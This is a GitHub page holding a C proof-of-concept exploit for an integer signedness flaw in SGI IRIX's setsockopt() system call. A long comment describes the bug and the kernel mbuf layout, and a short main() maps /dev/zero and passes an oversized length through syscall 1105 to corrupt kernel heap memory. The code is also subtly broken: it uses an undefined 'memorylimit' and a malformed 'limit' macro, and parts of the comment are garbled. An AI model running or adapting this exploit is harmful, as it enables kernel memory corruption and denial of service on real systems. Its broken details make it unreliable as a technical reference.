-
Notifications
You must be signed in to change notification settings - Fork 110
/
irix-setsockopt.c
112 lines (109 loc) · 4.97 KB
/
irix-setsockopt.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
/* SGI IRIX <= 6.5.22 kernel mbuf corruption due to integer signedness comparison
* ==============================================================================
* SGI setsockopt() is vulnerable to an integer signedness issue, resulting in a
* copyin() with an oversized buffer. However an issue with exploitation is that the
* system writing into mbuf u_char[112]; value of using int comparison < where;
*
* SSIZE_MAX 2147483647
*
* the resultant comparison is then used to compute a range into the heap which a
* user can write into. They must have 2GB of userspace mapped in their process.
*
* the 2GB limit is needed for the memory pages to be wrapped around. Once the
* pages are accessible the "errno = 14" (bad memory address, i.e. kernel failed
* to read our invalid user space of < 2GB, we need 2GB or more mapped. the mips
* architecture is thankfully a 64bit kernel with 32bit binaries, so we can hit
* this limit on an Octane2 and above models where memory of 2 GB or more is
* common place.
*
* int bufsize > MLEN - signed comparison used to copyin() on kernel heap.
* user space must have sufficiently mapped memory.
*
* setsockopt(3, SOL_SOCKET, SO_DEBUG|IP_OPTIONS|TCP_NODELAY(0x1), 0x7fff2f20,
* 0x7fffffff) errno = 22 (Invalid argument) # MAXIMUM SIGNED INT 2147483647
*
* setsockopt(3, SOL_SOCKET, SO_DEBUG|IP_OPTIONS|TCP_NODELAY(0x1), 0x7fff2f20,
* 0x80000000) errno = 14 (Bad address) # -1 is now 2147483648 because copyin()
*
* the issue comes due to MLEN being defined in < comparison without a proper
* data (-1 will pass MLEN when used as int < MLEN but ssize_t is unsigned)
* type then used across functions. The buffer overflow when copying the user
* data would end up in kernel memory with these structures:
*
* struct mbuf {
* struct mbuf *m_next; // next buffer in chain */
* __psint_t m_off; // offset of data */
* struct mbuf *m_act; // link in higher-level mbuf list */
* u_short m_len; // amount of data in this mbuf */
* u_char m_flags; // attributes */
* u_char m_type; // mbuf type (MT_FREE == free) */
* #if some64)
* __int32_t m_index;
* #endif some64
* union {
* struct {
* #if defined(DEBUG) || defined(DEBUG_ALLOC)
* #define _FUNCPARAM struct mbuf *, inst_t *
* #else
* #define _FUNCPARAM struct mbuf *
* #endif
* void (*mu_freefunc)(_FUNCPARAM);
* long mu_farg;
* void (*mu_dupfunc)(_FUNCPARAM);
* long mu_darg;
* #undef _FUNCPARAM
* caddr_t mu_p;
* u_int *mu_refp;
* u_int mu_ref;
* u_int mu_size;
* } m_us;
* u_char mu_dat[MLEN]; // we can write into mu_dat
* }
*
* These shared objects are stored in kernel memory and accessed via SGI mbuf allocator
* and utility routines. Overwriting the next buffer in chain and data offset with a
* arbitrary copyin(); This proof-of-concept can trigger by increasing the "limit" on
* a system with "limited datasize unlimited" and at least 2GB available to swap(1M).
* If you succeed in writing past the mbuf with sufficent user space memory the kernel
* mbuf buffers will become corrupted and system instability will occur. If you do
* not have enough system RAM & swap, this attack will not succeed.
*
* Happy Hacking 1 year on!
*
* -- Hacker Fantastic
* (https://hacker.house)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/mman.h>
// need to use "systune(1M)" to tweak
// rlimit_vmem_max = 64bit
#define limit 1024;
// you can watch the process size in top
// limit 2147483647 to allocate /dev/zero
// into kernel buffer via copyin();
int main(int argc, char* argv[]){
int sd, fd;
void* mmapbuf;
unsigned int bufsize;
sd = socket(AF_INET,SOCK_STREAM,0);
fd = open("/dev/zero",O_RDWR,0700);
if(sd < 0 || fd < 0){
printf("a problem occured\n");
exit(0);
}
bufsize = 2147483649;
mmapbuf = mmap64(0x0,memorylimit,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_SHARED|MAP_FIXED|MAP_AUTOGROW,fd,NULL);
printf("/dev/zero mapped to 0x%x\n", mmapbuf);
// anything over than 112 here in bufsize will result in invalid argument due to a check until set overflow);
printf("SYS_setsockopt %u",syscall(1105, sd, SOL_SOCKET, SO_DEBUG, mmapbuf,bufsize));
printf(" returned %u\n",bufsize);
close(sd);
exit(0);
}